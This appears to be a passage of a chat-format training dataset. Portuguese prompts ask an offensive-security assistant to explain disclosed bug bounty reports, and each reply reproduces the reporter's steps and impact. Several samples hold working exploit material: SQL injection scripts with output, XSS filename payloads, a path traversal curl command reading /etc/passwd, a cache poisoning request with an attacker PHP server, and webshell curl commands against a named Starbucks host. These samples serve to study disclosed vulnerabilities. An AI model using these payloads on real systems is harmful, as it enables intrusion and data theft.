### Passos para Reproduzir
1. Add a `X-DNS-Prefetch-Control: off` header
  1. Add a `X-Download-Options: noopen` header
  1. Add a `Public-Key-Pins` header (for calculate its value follow the https://scotthelme.co.uk/hpkp-http-public-key-pinning/ article)

If you don't consider this a valid issue, let me know it and I'l autoclose by myself as N/A :)

### Impacto
Some security headers missed can lead to prevention of certain attacks that can be exploited using reflected attacks in the local network either in remote contexts.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: url that twitter mobile site can not load

[Assistant]
### Passos para Reproduzir
1. Go to https://mobile.twitter.com/
  2. Send or tweet this url ```https://mobile.twitter.com/?%xx```
  3. You and your followers won't be able to see any tweets on the mobile site

### Impacto
This issue works only on https://mobile.twitter.com/
(not working on IOS, Android and https://twitter.com/ )
however, all twitter mobile users with no twitter app should be affected


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Traffic amplification attack via discovery protocol

[Assistant]
### Passos para Reproduzir
1. Send "PingPeerMessage" with correct victim's IP
  2. Wait for "PingPeerMessage" from RSKJ
  3. Send "PongPeerMessage" with correct "check" value but spoofed IP
  4. Send "FindNodePeerMessage" in a loop to perform traffic amplification attack

I'm attaching PoC in the attachment. Need to fill correct RSKJ node IP and port and DDoS victim's IP (and run with root privileges on attacker's host).

### Impacto
It makes much easier to perform DDoS attack and it can lead to DoS both of RSKJ node and third-party servers.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Attacker is able to access commit title and team member comments which are supposed to be private

[Assistant]
### Passos para Reproduzir
To reproduce this vulnerability, we need two accounts, lets say those accounts are:
-> victim@gmail.com
-> attacker@gmail.com

- Create a project from account victim@gmail.com with the following permissions:
{F432203}
Note that the project visibility should be `internal`.

- Go to profile of `victim@gmail.com` from `attacker@gmail.com`  and subscribe to all events, like this:
{F432204}

- From victim account, comment on any commit, and you should receive it's notification on attacker@gmail.com, like this:
{F432207}

As you can see, the message of the commit, team members who commented, what the comment was, everything is visible from the email received. This shouldn't be sent via email because the settings selected for repository is 'Only Team Members' whereas attacker@gmail.com is not a team member.

I have tried my best to have perfect steps to reproduce this, still do tell me if you need more info :)

Thanks,
Yash :)

### Impacto
An attacker will be able to view any commit titles, and all comments which shouldn't be visible to him using this vulnerability


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Assertion `col >= 0 && col < line->cols' failed, process aborted while streaming ouput from remote server

[Assistant]
### Passos para Reproduzir
1. Download https://tartarus.org/~simon/putty-snapshots/putty.tar.gz
2. Extract putty.tar.gz
3. change to the putty directory created in step 2.
3. `CC=clang CXX=clang++ ./configure && make -j5`
4. Launch PuTTY with your favorite debugger.
5. Connect to a remote host of your choice
6. On remote host: mkdir corpus && git clone https://gitlab.com/akihe/radamsa.git && cd radamsa && make && sudo make install && cd ~
7. On remote host, upload the attached JPG file to the corpus directory we created in step 4.
8. On remote host type while true; radamsa -s 911 -o - -n inf corpus/*; done and let run until crashes.

### Impacto
Denial of service, crash, loss of data contained in scroll back


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: the login blocking mechanism does not work correctly

[Assistant]
### Resumo da Vulnerabilidade
The login block mechanism does not work correctly because it blocks the login for 1 minute and allows you to sign in again many times with specific pattern by allowing login 2 or 3 times after 1 minute

### Impacto
Can take over user account


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Web cache poisoning leads to disclosure of CSRF token and sensitive information

[Assistant]
### Passos para Reproduzir
*  Intercept the request to the following page [https://www.smule.com/s/smule_groups/user_groups/user_name](https://www.smule.com/s/smule_groups/user_groups/fossnow27) using burp suite or any other tool.

```
GET /s/smule_groups/user_groups/fossnow27 HTTP/1.1
Host: www.smule.com
X-Forwarded-Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: smule_id_production=████%3D%3D--a559b392c9fc10711c799307af296a387ec77794; smule_cookie_banner_disabled=true; _ga=GA1.2.1744768224.1551586925; _gid=GA1.2.2071077738.1551586925; L=N; _smule_web_session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiJTY4Nzc0ZDQxYjdiYmEyYTlmNmRkZTk3NjYwYmRlMDBkBjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiMWhmSkdDZk9XcGhHajc5dXFHd1FYc1NhUnh0eGtjVHBocG1Sb3RubldlNDg9BjsARg%3D%3D--4ea860dfb2e3ad2a5a3d49c058f35485961ac5d3; cookies.js=1; smule_autoplay={%22enabled%22:true}; py={%22globalVolume%22:true%2C%22volume%22:0.5}; connection_info=eyJjb3VudHJ5IjoiSU4iLCJob21lUG9wIjoic2ciLCJjb250ZW50UHJveHkiOiJ0YyJ9--16206c9d48aa7c70227255756cc5a9e1e43d3cab
Connection: close
Upgrade-Insecure-Requests: 1
If-None-Match: W/"74107fb6dcc410390f339e5ddabc3022"
Cache-Control: max-age=0

```
In the above request I have added X-Forwarded-Host header.

* The response returned is shown below, changing the action links as well as footer links of the page.
{F434734}

*  Now open the response, and try to login, when you will login following request will be made
> If you will refresh the page it will ask for resubmission as it is a type of revalidate type of caching.

```
POST /user/check_email HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: application/json, text/plain, */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.smule.com/s/smule_groups/user_groups/fossnow27
X-CSRF-Token: █████████=
Content-Type: application/x-www-form-urlencoded
X-Smulen: daf446d26def7faeef4f6527d7f20fae
Content-Length: 31
Origin: https://www.smule.com
Connection: close

email=foo%40bar.com
```
to mimic the reponse of the actual server response I have written the following script

```php
<?php
if($_SERVER['REQUEST_METHOD'] == "OPTIONS"){
    if($_SERVER['HTTP_ORIGIN'] == "https://www.smule.com"){
        header('Access-Control-Allow-Origin: *');
        header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
        header('Access-Control-Allow-Headers: x-csrf-token,x-smulen');
        header('Access-Control-Max-Age: 1728000');
        header("Content-Length: 0");
        header("Content-Type: text/plain");
        exit;
    }
    else{
        header("HTTP/1.1 403 Access Forbidden");
        header("Content-Type: text/plain");
        echo "You cannot repeat this request";
    }
}

else if($_SERVER["REQUEST_METHOD"] == "POST"){
	header("Content-type: application/json; charset=utf-8");
	header("Cache-Control: max-age=0, private, must-revalidate");
	header("Content-Security-Policy: default-src * data: blob:; frame-ancestors *.smule.com; script-src 'unsafe-inline' 'unsafe-eval' blob: https://boards.greenhouse.io/embed/job_board/js https://js.stripe.com/v2/ https://js.stripe.com/v3/ http://*.smule.com:* http://*.facebook.net http://*.google-analytics.com http://*.google.com http://*.googleapis.com http://*.gstatic.com https://*.smule.com:* https://*.facebook.net https://*.accountkit.com https://*.google-analytics.com https://*.google.com https://*.googleapis.com https://*.gstatic.com http://www.apple.com/library/quicktime/scripts/ac_quicktime.js https://www.apple.com/library/quicktime/scripts/ac_quicktime.js platform.twitter.com https://optimize.google.com; style-src 'unsafe-inline' data: http://*.smule.com:* https://*.smule.com:* yui.yahooapis.com https://optimize.google.com https://fonts.googleapis.com; report-uri /s/csp-log;");
	header("X-Frame-Options: SAMEORIGIN");
	header("Set-Cookie: smule_id_production=████%3D%3D--a559b392c9fc10711c799307af296a387ec77794;domain=.smule.com; path=/; expires=Fri, 01-Jan-2038 08:00:00 GMT");
	header("ETag: W/\"5be24db7cb9adabbe965c1850ce0de98\"");
	header("X-Request-Id: 9c67b0a57e77660dacbefea12085f82f");
	$res = array("email"=>true, "token" => $_SERVER["HTTP_X_CSRF_TOKEN"], "mail" => $_POST['email']);
	echo json_encode($res);
}
?>
```
The request/respone is shown below:

{F434739}

### Impacto
:

* CSRF attacks.
* Sensitive Information leakage.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [Twitter Open Source] Releases were & are built/executed/tested/released in the context of insecure/untrusted code

[Assistant]
### Passos para Reproduzir
1. Cone the Impacted Project
  2. Change this line in Dilettante so it is targeting the repository used in the build.
       https://github.com/mveytsman/dilettante/blob/master/dilettante.py#L143
  3. Start Dilettante on your local machine.
  4. Proxy the HTTP traffic for the build through Dilettante
  5. Execute the Build's tests.
  6. You should be greeted with the image of a cat.

### Impacto
By insecurely downloading code over an untrusted connection HTTP and executing the untrusted code inside of these JAR files as part of the unit/integration tests before a release opens these artifacts up to being maliciously compromised.

Remote code execution on a production server. Malicious compromise of build artifacts.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Build fetches jars over HTTP

[Assistant]
### Passos para Reproduzir
1. Cone the Impacted Project
  2. Change this line in Dilettante so it is targeting the repository used in the build.
       https://github.com/mveytsman/dilettante/blob/master/dilettante.py#L143
  3. Start Dilettante on your local machine.
  4. Proxy the HTTP traffic for the build through Dilettante
  5. Execute the Build's tests.
  6. You should be greeted with the image of a cat.

### Impacto
By insecurely downloading code over an untrusted connection HTTP and executing the untrusted code inside of these JAR files as part of the unit/integration tests before a release opens these artifacts up to being maliciously compromised.

Remote code execution on a production server. Malicious compromise of build artifacts.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: RingCT malformed tx prevents target from being able to sweep balance

[Assistant]
### Resumo da Vulnerabilidade
An attacker can send a malformed RingCT transaction to an attackee wallet that prevents the attackee from sweeping their wallet balance. This is done by the attacker changing the mask amount in `genRctSimple` with a modified wallet. The attacker does not need any intervention from the attackee other than their public Monero address.

### Passos para Reproduzir
1. Clone and compile the v0.14.0.2 tagged branch of monero-project/monero
  2. Create a new attackee wallet on stagenet. Load it up by sending a few  transactions of various amounts to this wallet.
  3. Create a new attacker wallet on stagenet. Send one small amount of coins such as 0.1 XMR.
  4. [Modify this line in rctSigs.cpp](https://github.com/monero-project/monero/blob/v0.14.0.2/src/ringct/rctSigs.cpp#L803) to ` rv.ecdhInfo[i].amount = d2h(MONEY_SUPPLY);`
  5. Recompile monero-project/monero
  6. Open the attacker wallet and send a transaction to the attackee wallet. The amount you select to transfer does not matter. Send 0.05 XMR as an example.
  7. Switch back to upstream code without the patch from step 4.
  8. Open the attackee wallet and wait for network confirmations. The malformed transaction will correctly show up as 0 XMR.
  9. Attempt to sweep all from the attackee wallet to any destination. The attackee wallet will throw an error: “Error: internal error: Daemon response did not include the requested real output.”

### Impacto
An attacker can send malformed transactions and prevent an attackee from being able to sweep their balance. The attackee needs to apply the patch described above and rescan their wallet if they have been affected. Since this attack doesn’t cause permanent damage, it is less severe, however forcing the attackee to rescan their wallet causes loss of data such as tx secret keys.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: CryptoNote: remote node DoS

[Assistant]
### Resumo da Vulnerabilidade
Remote node DoS. See patch below.

### Passos para Reproduzir
Since this is *currently* a theoretical attack, non-code PoC detailed in the patch below.

### Impacto
Remote node DoS.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [@azhou/basemodel] SQL injection

[Assistant]
### Passos para Reproduzir
Example POC:
```
var db = require("@azhou/mysql-wrapper");
db.init("localhost", "mysql", "root", "");

(async () => {
	await db.query("CREATE TABLE IF NOT EXISTS test(id int not null PRIMARY KEY AUTO_INCREMENT, ckey varchar(255), cvalue varchar(255));");
	await db.query("TRUNCATE TABLE test;");

	var model = require("@azhou/basemodel")("test", ["ckey","cvalue"]);

	for(var i=0;i<10;i++)
		await model.create({ckey: `k${i}`, cvalue: `v${i}`});

	console.log('- get all (normal)');
	console.log(await model.getAll(["ckey", "cvalue"]))

	console.log('- get all (sqli)');
	console.log(await model.getAll(["ckey", "cvalue from test where 1=0 union all select 0, 'sqli','sqli'#"]))

	console.log('- get all (bsqli in order by)');
	console.log(await model.getAll(["ckey", "cvalue"], 'IF(1=1, id, -id) LIMIT 1'))
	console.log(await model.getAll(["ckey", "cvalue"], 'IF(1=0, id, -id) LIMIT 1'))
})()
```

Output
```
- get all (normal)
[ RowDataPacket { id: 1, ckey: 'k0', cvalue: 'v0' },
  RowDataPacket { id: 2, ckey: 'k1', cvalue: 'v1' },
  RowDataPacket { id: 3, ckey: 'k2', cvalue: 'v2' },
  RowDataPacket { id: 4, ckey: 'k3', cvalue: 'v3' },
  RowDataPacket { id: 5, ckey: 'k4', cvalue: 'v4' },
  RowDataPacket { id: 6, ckey: 'k5', cvalue: 'v5' },
  RowDataPacket { id: 7, ckey: 'k6', cvalue: 'v6' },
  RowDataPacket { id: 8, ckey: 'k7', cvalue: 'v7' },
  RowDataPacket { id: 9, ckey: 'k8', cvalue: 'v8' },
  RowDataPacket { id: 10, ckey: 'k9', cvalue: 'v9' } ]
- get all (sqli)
[ RowDataPacket { id: 0, ckey: 'sqli', cvalue: 'sqli' } ]
- get all (bsqli in order by)
[ RowDataPacket { id: 1, ckey: 'k0', cvalue: 'v0' } ]
[ RowDataPacket { id: 10, ckey: 'k9', cvalue: 'v9' } ]
```

### Impacto
Allow attackers to query database if they have access to orderBy variable and to perform any query type if have access to table or column variable.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Webshell via File Upload on ecjobs.starbucks.com.cn

[Assistant]
### Passos para Reproduzir
1. Sign in the url(https://ecjobs.starbucks.com.cn) and direct to the resume endpoint.
  2. Use burp suite tools to interupt the avatar upload request.
  3. Replace the filename type ```.jpg``` to ```asp ```which have a space character behind and modify the content

  After that you have uploaded malicious files on the server and run any os command on server you wanted.
Do some command like list all files on the server

```
curl -i -s -k  -X $'GET' \
    -H $'Host: ecjobs.starbucks.com.cn' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: _ga=GA1.3.779308870.1546486037; ASP.NET_SessionId=w2dbbzgyv3cu0hiiwkysnooo; ASPSESSIONIDSSSBQTQR=FKJDKLGAKJKDALIKOJMJBLAF; ASPSESSIONIDSQRDSRRR=DLNDLPJANKNIAGPMFDEGFLIF' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'_ga=GA1.3.779308870.1546486037; ASP.NET_SessionId=w2dbbzgyv3cu0hiiwkysnooo; ASPSESSIONIDSSSBQTQR=FKJDKLGAKJKDALIKOJMJBLAF; ASPSESSIONIDSQRDSRRR=DLNDLPJANKNIAGPMFDEGFLIF' \
    $'https://ecjobs.starbucks.com.cn/recruitjob/tempfiles/temp_uploaded_739175df-5949-4bba-9945-1c1720e8e109.asp?getsc=dir%20d:\\TrustHX\\STBKSERM101\\www_app%20%2fd%2fs%2fb'
```

**The response content:**

```
HTTP/1.1 200 OK
Date: Fri, 08 Mar 2019 02:56:19 GMT
Server: wswaf/2.13.0-5.el6
Content-Type: text/html
Cache-Control: private
X-Powered-By: ASP.NET
X-Via: 1.1 jszjsx51:1 (Cdn Cache Server V2.0), 1.1 PSjxncdx5rt58:6 (Cdn Cache Server V2.0)
Connection: close
Content-Length: 1814533

<html>
<body>
<h1>POC by hackerone_john stone</h1>
<textarea readonly cols=80 rows=25>
d:\TrustHX\STBKSERM101\www_app\bin
d:\TrustHX\STBKSERM101\www_app\common
d:\TrustHX\STBKSERM101\www_app\concurrent_test
d:\TrustHX\STBKSERM101\www_app\Default.aspx
d:\TrustHX\STBKSERM101\www_app\Global.asax
d:\TrustHX\STBKSERM101\www_app\hximages_v6
....................................
</textarea>
</body>
</html>
```

**Show the internal source code**
```
curl -i -s -k  -X $'GET' \
    -H $'Host: ecjobs.starbucks.com.cn' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: _ga=GA1.3.779308870.1546486037; ASP.NET_SessionId=w2dbbzgyv3cu0hiiwkysnooo; ASPSESSIONIDSSSBQTQR=FKJDKLGAKJKDALIKOJMJBLAF; ASPSESSIONIDSQRDSRRR=DLNDLPJANKNIAGPMFDEGFLIF' -H $'Upgrade-Insecure-Requests: 1' \
    -b $'_ga=GA1.3.779308870.1546486037; ASP.NET_SessionId=w2dbbzgyv3cu0hiiwkysnooo; ASPSESSIONIDSSSBQTQR=FKJDKLGAKJKDALIKOJMJBLAF; ASPSESSIONIDSQRDSRRR=DLNDLPJANKNIAGPMFDEGFLIF' \
    $'https://ecjobs.starbucks.com.cn/recruitjob/tempfiles/temp_uploaded_739175df-5949-4bba-9945-1c1720e8e109.asp?getsc=type%20d:\\TrustHX\\STBKSERM101\\www_app\\concurrent_test\\new_application_concurrent_test__svc.cs'
```
the source code respones:
```
HTTP/1.1 200 OK
Date: Fri, 08 Mar 2019 03:37:39 GMT
Server: wswaf/2.13.0-5.el6
Content-Type: text/html
Cache-Control: private
X-Powered-By: ASP.NET
X-Via: 1.1 jszjsx51:0 (Cdn Cache Server V2.0), 1.1 ydx154:3 (Cdn Cache Server V2.0)
Connection: close
Content-Length: 33316

<html>
<body>
<h1>POC by hackerone_john stone</h1>
<textarea readonly cols=80 rows=25>
ï»¿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System;
using System.Collections.Specialized;
using System.Collections.Generic;
using System.Data;
using System.Configuration;
using System.Xml;
using System.Transactions;
using System.Text;
using System.Threading;
using System.Web;

using TrustHX.IHXEIMS6;
using hxsys = TrustHX.HXEIMS6;
using hxwww = TrustHX.HXWWW6;
using hxsm = TrustHX.HXSM6;
using hxmd = TrustHX.HXMD6;

class new_application_concurrent_test : IHXPageXmlService
{
    #region IHXPageXmlService æå
    string IHXPageXmlService.Run(string strSystemCode, string strPageXmlServiceCode, string strPageXmlServiceContent, string strHXPageParamUUID, string strHXPageName)
    {
        try
        {
            switch (strPageXmlServiceCode)
            {
                case "PREPARE_CONCURRENT_DATA":return ConcurrentDataPrepare.ConcurrentDataPrepareProcess(strSystemCode, strPageXmlServiceContent);
                case "CONCURRENT_TEST":return ConcurrentTest.ConcurrentTestProcess(strSystemCode, strPageXmlServiceContent);
                default:
                    string strErrorMessageText =
....................................
</textarea>
</body>
</html>
```

### Impacto
disclosures  the internal source code data and user's information,broken ring server,etc.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [typeorm] SQL Injection

[Assistant]
### Passos para Reproduzir
- Create a new test typeorm package
```bash
npx typeorm init --name Test --database mysql
```

- Edit `ormconfig.json` for local credentials.

Modify `index.ts` to test the injection:

```ts
import "reflect-metadata";
import {createConnection} from "typeorm";
import {User} from "./entity/User";

createConnection().then(async connection => {

    console.log("Inserting a new user into the database...");

    for(var i=0;i<10;i++) {
        const user = new User();
        user.firstName = `Timber ${i}`;
        user.lastName = "Saw";
        user.age = 25 + i;
        await connection.manager.save(user);
        console.log("Saved a new user with id: " + user.id);
    }

    const repo = connection.getRepository(User);

    console.log(await repo.createQueryBuilder().where('firstName = :name', {name: () => "-1 or firstName=0x54696d6265722033"}).getOne());

    process.exit(0);
}).catch(error => console.log(error));
```
(0x54696d6265722033 is "Timber 3")

Output:
```
Inserting a new user into the database...
User { id: 5, firstName: 'Timber 3', lastName: 'Saw', age: 28 }
```

### Impacto
Allow attackers to perform SQL Injection attacks.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Pippo XML Entity Expansion (Billion Laughs Attack)

[Assistant]
### Passos para Reproduzir
> Detailed steps to reproduce with all required references/steps/commands. Any sample/exploit code or other proof of concept.

1. Supply below XML payload as an argument to the following Java main method which is a client of Pippo.
2. Enjoy watching the JVM crash.

### Impacto
It causes a DoS. Specifically: Entities are created recursively and large amounts of heap memory is taken. Eventually, the JVM process will run out of memory. Otherwise, if the OS does not bound the memory on that process, memory will continue to be exhausted and will affect other processes on the system.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [fileview] Inadequate Output Encoding and Escaping

[Assistant]
### Passos para Reproduzir
1.install fileview:
npm install fileview -g

2:now create a file with xss payload as follows:
"><img src=x onerror=alert("xss")>.jpg

3.running below command on terminal  will start a file server at port 8080

fileview -p /root/ -P 8080

4.now goto http://127.0.0.1:8080/

you will see the xss got executed

### Impacto
this could have allowed an attacker to embed malicious js code in filename and executes it when  victim browse to file over the web browser


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [untitled-model] sql injection

[Assistant]
### Passos para Reproduzir
- install the module `yarn add untitled-model`
- setup db:
```mysql
CREATE TABLE `user` (
  `id` int(11) NOT NULL,
  `firstName` varchar(255) NOT NULL,
  `lastName` varchar(255) NOT NULL,
  `age` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `user` (`id`, `firstName`, `lastName`, `age`) VALUES
(1, 'Timber', 'Saw', 25),
(2, 'Timber 0', 'Saw', 25);
```

- run the poc script:
```js
var model = require('untitled-model');
model.connection(
	{
		host: "localhost",
		user: "root",
		password: "",
		database:"test"
	}
);
var User = model.get('user');
//User.all((err,data)=>{
//	console.log(err,data);
//})

(async () => {
	await new Promise((resolve,reject)=>{
		User.filter({'id': 1},function(err,data){
			if(err) throw err;
			console.log('normal query', data);
			resolve();
		});
	});
	await new Promise((resolve,reject)=>{
		User.filter({'id': "' or id=2#"},function(err,data){
			if(err) throw err;
			console.log('sqli query', data);
			resolve();
		});
	});
	process.exit(0);
})()
```

Output:
```js
normal query [ RowDataPacket { id: 1, firstName: 'Timber', lastName: 'Saw', age: 25 } ]
sqli query [ RowDataPacket { id: 2, firstName: 'Timber 0', lastName: 'Saw', age: 25 } ]
```

### Impacto
Sql injection.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [file-browser] Inadequate Output Encoding and Escaping

[Assistant]
### Passos para Reproduzir
1.  npm -g install file-browser

2.now running below command will start a file server on the specified port:
  file-browser

3.now create a file with xss payload as filename in current dir

touch '"><img src=x onerror=alert("xss")>.jpg'

4.now goto url at which the file server is running

http://127.0.0.1:8088/lib/template.html

now xss will popup

### Impacto
this could have enabled an attacker to execute malicous js code which might lead to session stealing,hooking up browser with frameworks like beef and so on


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [deliver-or-else] Path Traversal

[Assistant]
### Passos para Reproduzir
1.npm i deliver-or-else

2.now create a node.js(test.js) file for starting up a localserver on port 80,which will serve the file on the directory(public) over the web browser depending on the file requested by user through url

here is code for test.js

const Deliver = require('deliver-or-else')
const path = require('path')

// It is up to you to resolve the document root directory
const http = require('http')
let deliver = new Deliver(path.join(__dirname, 'public'))
let server = http.createServer((req, res) => {
    /**
     * The `deliver` method returns a `Promise`, which in turn can be used to
     * catch any errors (such as a 404). We could also provide a `then` clause
     * for when it works successfully and a file has been delivered.
     */
    deliver.deliver(req, res).catch((err) => {
        // The err contains information regarding how the `fs.readFile` failed

        res.statusCode = 404
        res.setHeader('Content-Type', 'text/plain')
        res.end('404, no such file.')
    })
})

server.listen(80, '127.0.0.1', function () {
    console.log('Starting server...')
})

3.run below command
node test.js
this will startup the server at port 80

4.trying to fetch a file outside of "public" dir is exempted and shows 404 error

5.this can be bypassed by using curl via commandline by running below command
curl -v --path-as-is http://127.0.0.1:8080/node_modules/../../../../../etc/passwd

which will return the passwd directory contents

# Wrap up

> Select Y or N for the following statements:

- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]

> Hunter's comments and funny memes goes here

### Impacto
This vulnerability allows malicious user to read content of any file on the server, which leads to data breach or other attacks.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Persistent XSS in Note objects

[Assistant]
### Passos para Reproduzir
(Add details for how we can reproduce the issue)

  1. Create an export of a project with at least 1 discussion in at least 1 merge request.
  1. Modify the project.json, add field `note_html` and `cached_markdown_version`

```
      "notes": [
        {
          "id": 1,
          "note": "interesting note here",
          "note_html": "<img src=\"test\" onerror=\"alert(document.domain)\"></img>html overwritten",
          "cached_markdown_version": 917504,
```

  1. Import the modified project
  1. View the only discussion of the imported project.

### Impacto
This is a typical persistent XSS issue and the link I mentioned above is accessible publicly, so all GitLab users are vulnerable theoretically.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [increments] sql injection

[Assistant]
### Passos para Reproduzir
- `npm install increments`
- run poc:

```javascript
const increments = require('increments');
increments.setup('mysql://root:@localhost:3306/test');
increments.poll('fruits', [{name:'Apples'},{name:'Bananas'},{name:'Oranges'},{name:'Pears'}]);
